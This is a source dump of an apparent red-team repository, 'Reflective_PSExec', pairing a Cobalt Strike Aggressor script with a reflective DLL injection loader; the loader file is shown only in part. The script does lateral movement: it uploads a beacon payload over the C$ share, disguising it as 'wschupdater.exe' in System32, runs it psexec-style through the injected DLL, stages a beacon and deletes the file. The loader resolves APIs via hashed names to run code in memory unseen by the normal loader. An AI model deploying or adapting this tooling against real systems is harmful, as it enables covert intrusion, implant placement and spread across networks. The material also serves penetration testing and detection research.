├── .gitattributes ├── psexec-dll ├── dllmain.cpp ├── ReflectiveDLLInjection.h ├── ReflectiveLoader.h └── ReflectiveLoader.c ├── psexec-dll.sln └── Aggressor Script └── psexec-dll.cna /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /psexec-dll/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThunderGunExpress/Reflective_PSExec/HEAD/psexec-dll/dllmain.cpp -------------------------------------------------------------------------------- /psexec-dll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2010 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "psexec-dll", "psexec-dll\psexec-dll.vcxproj", "{D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Debug|x64.ActiveCfg = Debug|x64 17 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Debug|x64.Build.0 = Debug|x64 18 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Debug|x86.ActiveCfg = Debug|Win32 19 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Debug|x86.Build.0 = Debug|Win32 20 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Release|x64.ActiveCfg = Release|x64 21 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Release|x64.Build.0 = Release|x64 22 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Release|x86.ActiveCfg = Release|Win32 23 | {D7AB4735-E5F4-47FD-BF0C-764AD9ADB68D}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {2DA76935-5467-42D6-ACEF-A94D8541576F} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Aggressor Script/psexec-dll.cna: -------------------------------------------------------------------------------- 1 | #Pulling from Comexec Lateral Movement Aggressor Script Developed by RSMudge 2 | #https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2 3 | 4 | beacon_command_register("psexec-dll", "Custom psexec reflective DLL", "Usage: psexec-dll [Target IP] [Listener]"); 5 | 6 | alias psexec-dll { 7 | local('$bid $target $listener'); 8 | $bid = $1; 9 | $target = $2; 10 | $listener = $3; 11 | 12 | if($2 is $null) 13 | { 14 | blog($bid, "No parameters entered"); 15 | blog($bid, "Usage: psexec-dll [Target IP] [Listener]"); 16 | exit("Done"); 17 | } 18 | 19 | if($2 !hasmatch '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}') 20 | { 21 | blog($bid, "Use an IP Address"); 22 | blog($bid, "Usage: psexec-dll [Target IP] [Listener]"); 23 | exit("Done"); 24 | } 25 | 26 | if($3 is $null) 27 | { 28 | openPayloadHelper(lambda({ 29 | psexec-dll-go($bid, $target, $1); 30 | }, $bid => $1, $target => $2)); 31 | } 32 | else 33 | { 34 | psexec-dll-go($1, $2, $3) 35 | } 36 | } 37 | 38 | sub psexec-dll-go { 39 | local('$bid $target $listener'); 40 | $bid = $1; 41 | $target = $2; 42 | $listener = $3; 43 | $arch = "x86"; 44 | $dll = getFileProper(script_resource("dll"), "psexec-dll.dll"); 45 | 46 | if (listener_info($3) is $null) { 47 | berror($1, "Listener $3 does not exist"); 48 | return; 49 | } 50 | 51 | btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via psexec"); 52 | 53 | artifact_stageless($listener, "svcexe", $arch, $null, $this); 54 | yield; 55 | 56 | $payload = $1; 57 | 58 | if($target is "127.0.0.1") 59 | { 60 | $filepath = "C:\\Windows\\System32\\wschupdater.exe"; 61 | } 62 | else 63 | { 64 | $filepath = "\\\\$target\\C$\\Windows\\System32\\wschupdater.exe"; 65 | } 66 | 67 | bupload_raw!($bid, $filepath, $payload); 68 | bdllspawn!($bid, $dll, $target, "psexec via dll", 6000); 69 | bstage!($bid, $target, $listener, $arch); 70 | brm($bid, $filepath); 71 | 72 | exit("Done"); 73 | } 74 | 75 | 76 | -------------------------------------------------------------------------------- /psexec-dll/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// -------------------------------------------------------------------------------- /psexec-dll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | // CPL - The Winternl.h header has incomplete structure definitions 28 | // CPL - Redefined the following: 29 | // LDR_DATA_TABLE_ENTRY 30 | // PEB_LDR_DATA 31 | // PEB 32 | //===============================================================================================// 33 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 34 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 35 | //===============================================================================================// 36 | #define WIN32_LEAN_AND_MEAN 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include "ReflectiveDLLInjection.h" 44 | 45 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 46 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 47 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 48 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 49 | typedef NTSTATUS(NTAPI *pdef_NtSetInformationToken)(IN HANDLE, IN TOKEN_INFORMATION_CLASS, IN PVOID, IN ULONG); 50 | typedef NTSTATUS(NTAPI *pdef_NtFilterToken)(IN HANDLE, IN ULONG, IN PVOID, IN PVOID, IN PVOID, OUT HANDLE); 51 | typedef NTSTATUS(WINAPI * pRtlCreateUserThread)( 52 | IN HANDLE ProcessHandle, 53 | IN PSECURITY_DESCRIPTOR SecurityDescriptor, 54 | IN BOOL CreateSuspended, 55 | IN ULONG StackZeroBits, 56 | IN OUT PULONG StackReserved, 57 | IN OUT PULONG StackCommit, 58 | IN LPVOID StartAddress, 59 | IN LPVOID StartParameter, 60 | OUT HANDLE ThreadHandle, 61 | OUT LPVOID ClientID 62 | ); 63 | 64 | #define KERNEL32DLL_HASH 0x6A4ABC5B 65 | #define NTDLLDLL_HASH 0x3CFA685D 66 | 67 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 68 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 69 | #define VIRTUALALLOC_HASH 0x91AFCA54 70 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 71 | 72 | #define IMAGE_REL_BASED_ARM_MOV32A 5 73 | #define IMAGE_REL_BASED_ARM_MOV32T 7 74 | 75 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 76 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 77 | #define ARM_MOVW 0xF2400000 78 | #define ARM_MOVT 0xF2C00000 79 | 80 | #define HASH_KEY 13 81 | //===============================================================================================// 82 | #pragma intrinsic( _rotr ) 83 | 84 | __forceinline DWORD ror( DWORD d ) 85 | { 86 | return _rotr( d, HASH_KEY ); 87 | } 88 | 89 | __forceinline DWORD hash( char * c ) 90 | { 91 | register DWORD h = 0; 92 | do 93 | { 94 | h = ror( h ); 95 | h += *c; 96 | } while( *++c ); 97 | 98 | return h; 99 | } 100 | //===============================================================================================// 101 | typedef struct _UNICODE_STR 102 | { 103 | USHORT Length; 104 | USHORT MaximumLength; 105 | PWSTR pBuffer; 106 | } UNICODE_STR, *PUNICODE_STR; 107 | 108 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 109 | //__declspec( align(8) ) 110 | 111 | typedef struct _MY_LDR_DATA_TABLE_ENTRY 112 | { 113 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 114 | LIST_ENTRY InMemoryOrderModuleList; 115 | LIST_ENTRY InInitializationOrderModuleList; 116 | PVOID DllBase; 117 | PVOID EntryPoint; 118 | ULONG SizeOfImage; 119 | UNICODE_STR FullDllName; 120 | UNICODE_STR BaseDllName; 121 | ULONG Flags; 122 | SHORT LoadCount; 123 | SHORT TlsIndex; 124 | LIST_ENTRY HashTableEntry; 125 | ULONG TimeDateStamp; 126 | } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; 127 | 128 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 129 | 130 | typedef struct _MY_PEB_LDR_DATA //, 7 elements, 0x28 bytes 131 | { 132 | DWORD dwLength; 133 | DWORD dwInitialized; 134 | LPVOID lpSsHandle; 135 | LIST_ENTRY InLoadOrderModuleList; 136 | LIST_ENTRY InMemoryOrderModuleList; 137 | LIST_ENTRY InInitializationOrderModuleList; 138 | LPVOID lpEntryInProgress; 139 | } MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA; 140 | 141 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 142 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 143 | { 144 | struct _PEB_FREE_BLOCK * pNext; 145 | DWORD dwSize; 146 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 147 | 148 | // struct _PEB is defined in Winternl.h but it is incomplete 149 | // WinDbg> dt -v ntdll!_PEB 150 | typedef struct __MYPEB // 65 elements, 0x210 bytes 151 | { 152 | BYTE bInheritedAddressSpace; 153 | BYTE bReadImageFileExecOptions; 154 | BYTE bBeingDebugged; 155 | BYTE bSpareBool; 156 | LPVOID lpMutant; 157 | LPVOID lpImageBaseAddress; 158 | PMY_PEB_LDR_DATA pLdr; 159 | LPVOID lpProcessParameters; 160 | LPVOID lpSubSystemData; 161 | LPVOID lpProcessHeap; 162 | PRTL_CRITICAL_SECTION pFastPebLock; 163 | LPVOID lpFastPebLockRoutine; 164 | LPVOID lpFastPebUnlockRoutine; 165 | DWORD dwEnvironmentUpdateCount; 166 | LPVOID lpKernelCallbackTable; 167 | DWORD dwSystemReserved; 168 | DWORD dwAtlThunkSListPtr32; 169 | PPEB_FREE_BLOCK pFreeList; 170 | DWORD dwTlsExpansionCounter; 171 | LPVOID lpTlsBitmap; 172 | DWORD dwTlsBitmapBits[2]; 173 | LPVOID lpReadOnlySharedMemoryBase; 174 | LPVOID lpReadOnlySharedMemoryHeap; 175 | LPVOID lpReadOnlyStaticServerData; 176 | LPVOID lpAnsiCodePageData; 177 | LPVOID lpOemCodePageData; 178 | LPVOID lpUnicodeCaseTableData; 179 | DWORD dwNumberOfProcessors; 180 | DWORD dwNtGlobalFlag; 181 | LARGE_INTEGER liCriticalSectionTimeout; 182 | DWORD dwHeapSegmentReserve; 183 | DWORD dwHeapSegmentCommit; 184 | DWORD dwHeapDeCommitTotalFreeThreshold; 185 | DWORD dwHeapDeCommitFreeBlockThreshold; 186 | DWORD dwNumberOfHeaps; 187 | DWORD dwMaximumNumberOfHeaps; 188 | LPVOID lpProcessHeaps; 189 | LPVOID lpGdiSharedHandleTable; 190 | LPVOID lpProcessStarterHelper; 191 | DWORD dwGdiDCAttributeList; 192 | LPVOID lpLoaderLock; 193 | DWORD dwOSMajorVersion; 194 | DWORD dwOSMinorVersion; 195 | WORD wOSBuildNumber; 196 | WORD wOSCSDVersion; 197 | DWORD dwOSPlatformId; 198 | DWORD dwImageSubsystem; 199 | DWORD dwImageSubsystemMajorVersion; 200 | DWORD dwImageSubsystemMinorVersion; 201 | DWORD dwImageProcessAffinityMask; 202 | DWORD dwGdiHandleBuffer[34]; 203 | LPVOID lpPostProcessInitRoutine; 204 | LPVOID lpTlsExpansionBitmap; 205 | DWORD dwTlsExpansionBitmapBits[32]; 206 | DWORD dwSessionId; 207 | ULARGE_INTEGER liAppCompatFlags; 208 | ULARGE_INTEGER liAppCompatFlagsUser; 209 | LPVOID lppShimData; 210 | LPVOID lpAppCompatInfo; 211 | UNICODE_STR usCSDVersion; 212 | LPVOID lpActivationContextData; 213 | LPVOID lpProcessAssemblyStorageMap; 214 | LPVOID lpSystemDefaultActivationContextData; 215 | LPVOID lpSystemAssemblyStorageMap; 216 | DWORD dwMinimumStackCommit; 217 | } _MYPEB, * _PMYPEB; 218 | 219 | typedef struct 220 | { 221 | WORD offset:12; 222 | WORD type:4; 223 | } IMAGE_RELOC, *PIMAGE_RELOC; 224 | //===============================================================================================// 225 | #endif 226 | //===============================================================================================// -------------------------------------------------------------------------------- /psexec-dll/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | //get the PEB 109 | #ifdef _WIN64 110 | uiBaseAddress = __readgsqword(0x60); 111 | #else 112 | #ifdef WIN_X86 113 | uiBaseAddress = __readfsdword(0x30); 114 | #else WIN_ARM 115 | uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 116 | #endif 117 | #endif 118 | 119 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 120 | uiBaseAddress = (ULONG_PTR)((_PMYPEB)uiBaseAddress)->pLdr; 121 | 122 | // get the first entry of the InMemoryOrder module list 123 | uiValueA = (ULONG_PTR)((PMY_PEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 124 | while( uiValueA ) 125 | { 126 | // get pointer to current modules name (unicode string) 127 | //uiValueB = (ULONG_PTR)((MY_PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 128 | uiValueB = (ULONG_PTR)((PMY_LDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | //usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | usCounter = ((PMY_LDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 132 | // clear uiValueC which will store the hash of the module name 133 | uiValueC = 0; 134 | 135 | // compute the hash of the module name... 136 | do 137 | { 138 | uiValueC = ror( (DWORD)uiValueC ); 139 | // normalize to uppercase if the madule name is in lowercase 140 | if( *((BYTE *)uiValueB) >= 'a' ) 141 | uiValueC += *((BYTE *)uiValueB) - 0x20; 142 | else 143 | uiValueC += *((BYTE *)uiValueB); 144 | uiValueB++; 145 | } while( --usCounter ); 146 | 147 | // compare the hash with that of kernel32.dll 148 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 149 | { 150 | // get this modules base address 151 | uiBaseAddress = (ULONG_PTR)((PMY_LDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 152 | 153 | // get the VA of the modules NT Header 154 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 155 | 156 | // uiNameArray = the address of the modules export directory entry 157 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 158 | 159 | // get the VA of the export directory 160 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 161 | 162 | // get the VA for the array of name pointers 163 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 164 | 165 | // get the VA for the array of name ordinals 166 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 167 | 168 | usCounter = 3; 169 | 170 | // loop while we still have imports to find 171 | while( usCounter > 0 ) 172 | { 173 | // compute the hash values for this function name 174 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 175 | 176 | // if we have found a function we want we get its virtual address 177 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 178 | { 179 | // get the VA for the array of addresses 180 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 181 | 182 | // use this functions name ordinal as an index into the array of name pointers 183 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 184 | 185 | // store this functions VA 186 | if( dwHashValue == LOADLIBRARYA_HASH ) 187 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 188 | else if( dwHashValue == GETPROCADDRESS_HASH ) 189 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 190 | else if( dwHashValue == VIRTUALALLOC_HASH ) 191 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 192 | 193 | // decrement our counter 194 | usCounter--; 195 | } 196 | 197 | // get the next exported function name 198 | uiNameArray += sizeof(DWORD); 199 | 200 | // get the next exported function name ordinal 201 | uiNameOrdinals += sizeof(WORD); 202 | } 203 | } 204 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 205 | { 206 | // get this modules base address 207 | uiBaseAddress = (ULONG_PTR)((PMY_LDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 208 | 209 | // get the VA of the modules NT Header 210 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 211 | 212 | // uiNameArray = the address of the modules export directory entry 213 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 214 | 215 | // get the VA of the export directory 216 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 217 | 218 | // get the VA for the array of name pointers 219 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 220 | 221 | // get the VA for the array of name ordinals 222 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 223 | 224 | usCounter = 1; 225 | 226 | // loop while we still have imports to find 227 | while( usCounter > 0 ) 228 | { 229 | // compute the hash values for this function name 230 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 231 | 232 | // if we have found a function we want we get its virtual address 233 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 234 | { 235 | // get the VA for the array of addresses 236 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 237 | 238 | // use this functions name ordinal as an index into the array of name pointers 239 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 240 | 241 | // store this functions VA 242 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 243 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 244 | 245 | // decrement our counter 246 | usCounter--; 247 | } 248 | 249 | // get the next exported function name 250 | uiNameArray += sizeof(DWORD); 251 | 252 | // get the next exported function name ordinal 253 | uiNameOrdinals += sizeof(WORD); 254 | } 255 | } 256 | 257 | // we stop searching when we have found everything we need. 258 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 259 | break; 260 | 261 | // get the next entry 262 | uiValueA = DEREF( uiValueA ); 263 | } 264 | 265 | // STEP 2: load our image into a new permanent location in memory... 266 | 267 | // get the VA of the NT Header for the PE to be loaded 268 | uiHeaderValue = uiLibraryAddress + 